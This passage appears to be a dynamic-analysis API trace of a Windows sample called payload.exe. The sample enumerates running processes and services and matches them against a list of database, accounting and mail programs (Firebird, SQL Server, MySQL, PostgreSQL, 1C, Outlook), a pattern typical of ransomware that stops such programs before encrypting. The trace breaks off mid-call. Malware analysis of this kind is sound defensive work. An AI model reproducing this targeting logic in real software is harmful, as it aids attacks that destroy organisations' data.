hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.240] lstrlenW (lpString="taskhost.exe") returned 12 [0114.240] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.240] lstrlenW (lpString="svchost.exe") returned 11 [0114.240] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0114.240] lstrlenW (lpString="payload.exe") returned 11 [0114.240] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0114.240] lstrlenW (lpString="reader_sl.exe") returned 13 [0114.240] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0114.240] lstrlenW (lpString="taskhost.exe") returned 12 [0114.241] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.241] lstrlenW (lpString="dllhost.exe") returned 11 [0114.241] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0114.241] lstrlenW (lpString="consent.exe") returned 11 [0114.241] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0114.241] lstrlenW (lpString="dllhost.exe") returned 11 [0114.241] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0114.242] CloseHandle (hObject=0x3d4) returned 1 [0114.242] Sleep (dwMilliseconds=0x1f4) [0114.827] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40f1a20 [0114.828] EnumServicesStatusExW (in: hSCManager=0x40f1a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0114.828] GetLastError () returned 0xea [0114.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0114.828] EnumServicesStatusExW (in: hSCManager=0x40f1a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0114.828] CloseServiceHandle (hSCObject=0x40f1a20) returned 1 [0114.829] lstrlenW (lpString="Appinfo") returned 7 [0114.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0114.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0114.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0114.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0114.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0114.829] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0114.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0114.829] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0114.829] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0114.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0114.829] lstrlenW (lpString="AudioSrv") returned 8 [0114.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0114.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0114.829] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0114.829] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0114.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0114.829] lstrlenW (lpString="BFE") returned 3 [0114.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0114.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0114.829] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0114.829] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0114.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0114.829] lstrlenW (lpString="CryptSvc") returned 8 [0114.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0114.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0114.829] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0114.829] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0114.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0114.829] lstrlenW (lpString="CscService") returned 10 [0114.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0114.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0114.829] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0114.829] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0114.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0114.829] lstrlenW (lpString="DcomLaunch") returned 10 [0114.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0114.829] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0114.829] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0114.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0114.829] lstrlenW (lpString="Dhcp") returned 4 [0114.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0114.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0114.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0114.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0114.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0114.829] lstrlenW (lpString="Dnscache") returned 8 [0114.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0114.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0114.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0114.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0114.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0114.830] lstrlenW (lpString="DPS") returned 3 [0114.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0114.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0114.830] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0114.830] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0114.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0114.830] lstrlenW (lpString="eventlog") returned 8 [0114.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0114.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0114.830] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0114.830] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0114.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0114.830] lstrlenW (lpString="EventSystem") returned 11 [0114.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0114.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0114.830] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0114.830] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0114.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0114.830] lstrlenW (lpString="gpsvc") returned 5 [0114.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0114.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0114.830] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0114.830] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0114.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0114.830] lstrlenW (lpString="iphlpsvc") returned 8 [0114.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.830] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0114.830] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0114.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0114.830] lstrlenW (lpString="LanmanServer") returned 12 [0114.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0114.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0114.830] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0114.830] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0114.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0114.830] lstrlenW (lpString="LanmanWorkstation") returned 17 [0114.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0114.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0114.830] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0114.830] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0114.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0114.830] lstrlenW (lpString="lmhosts") returned 7 [0114.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0114.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0114.830] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0114.830] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0114.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0114.830] lstrlenW (lpString="MMCSS") returned 5 [0114.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0114.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0114.831] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0114.831] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0114.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0114.831] lstrlenW (lpString="MpsSvc") returned 6 [0114.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0114.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0114.831] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0114.831] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0114.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0114.831] lstrlenW (lpString="Netman") returned 6 [0114.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0114.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0114.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0114.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0114.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0114.831] lstrlenW (lpString="netprofm") returned 8 [0114.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0114.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0114.831] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0114.831] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0114.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0114.831] lstrlenW (lpString="NlaSvc") returned 6 [0114.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0114.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0114.831] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0114.831] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0114.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0114.831] lstrlenW (lpString="nsi") returned 3 [0114.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0114.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0114.831] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0114.831] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0114.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0114.831] lstrlenW (lpString="PcaSvc") returned 6 [0114.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0114.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0114.831] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0114.831] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0114.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0114.831] lstrlenW (lpString="PlugPlay") returned 8 [0114.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0114.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0114.831] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0114.831] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0114.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0114.831] lstrlenW (lpString="Power") returned 5 [0114.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0114.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0114.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0114.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0114.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0114.831] lstrlenW (lpString="ProfSvc") returned 7 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0114.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0114.832] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0114.832] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0114.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0114.832] lstrlenW (lpString="RpcEptMapper") returned 12 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0114.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0114.832] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0114.832] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0114.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0114.832] lstrlenW (lpString="RpcSs") returned 5 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0114.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0114.832] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0114.832] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0114.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0114.832] lstrlenW (lpString="SamSs") returned 5 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0114.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0114.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0114.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0114.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0114.832] lstrlenW (lpString="Schedule") returned 8 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0114.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0114.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0114.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0114.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0114.832] lstrlenW (lpString="SENS") returned 4 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0114.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0114.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0114.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0114.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0114.832] lstrlenW (lpString="ShellHWDetection") returned 16 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0114.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0114.832] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0114.832] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0114.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0114.832] lstrlenW (lpString="Spooler") returned 7 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0114.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0114.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0114.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0114.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0114.832] lstrlenW (lpString="SysMain") returned 7 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0114.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0114.832] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0114.832] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0114.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0114.832] lstrlenW (lpString="Themes") returned 6 [0114.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0114.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0114.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0114.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0114.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0114.833] lstrlenW (lpString="TrkWks") returned 6 [0114.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0114.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0114.833] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0114.833] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0114.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0114.833] lstrlenW (lpString="UxSms") returned 5 [0114.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0114.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0114.833] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0114.833] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0114.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0114.833] lstrlenW (lpString="WdiServiceHost") returned 14 [0114.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0114.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0114.833] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0114.833] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0114.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0114.833] lstrlenW (lpString="WdiSystemHost") returned 13 [0114.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0114.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0114.833] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0114.833] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0114.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0114.833] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0114.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0114.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0114.833] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0114.833] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0114.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0114.833] lstrlenW (lpString="Winmgmt") returned 7 [0114.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0114.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0114.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0114.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0114.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0114.833] lstrlenW (lpString="WPDBusEnum") returned 10 [0114.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0114.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0114.833] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0114.833] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0114.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0114.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0114.833] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c [0114.835] Process32FirstW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.835] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.835] lstrlenW (lpString="System") returned 6 [0114.835] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0114.835] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0114.835] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0114.836] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0114.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0114.836] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0114.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0114.836] Process32NextW (in: hSnapshot=0x39c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.836] lstrlenW (lpString="smss.exe") returned 8 [0114.836] lstrcmpiW 